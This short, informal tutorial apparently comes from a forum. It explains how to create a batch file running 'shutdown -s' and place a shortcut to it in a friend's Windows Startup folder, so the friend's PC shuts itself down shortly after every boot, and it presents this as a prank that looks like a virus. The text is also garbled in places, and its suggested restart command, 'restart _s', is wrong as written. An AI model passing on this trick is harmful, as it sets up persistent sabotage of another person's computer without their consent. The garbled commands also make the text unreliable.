1. open notepad
2. type "shutdown -s" with out quotes
3. save the file with .bat extension.
4. explanation,u have created a prog which shutdowns the PC with in 30
of executing the file
5. now open "C:\Documents and Settings\USERNAME\Start Menu\Programs\Start up\" (C->is the drive on which ur windows has been installed and USERNAME is the username)
6.paste a shortcut on this directory
NOW WHEN EVER UR FRIEND STARTS HIS PC a count down will start after 30 sec his pc will shutdown
u can also maki his pc restart instead of shutting down.. just replace "shutdown -s" "restart _s"
enjoy frnds.... this is not a virus but look so....



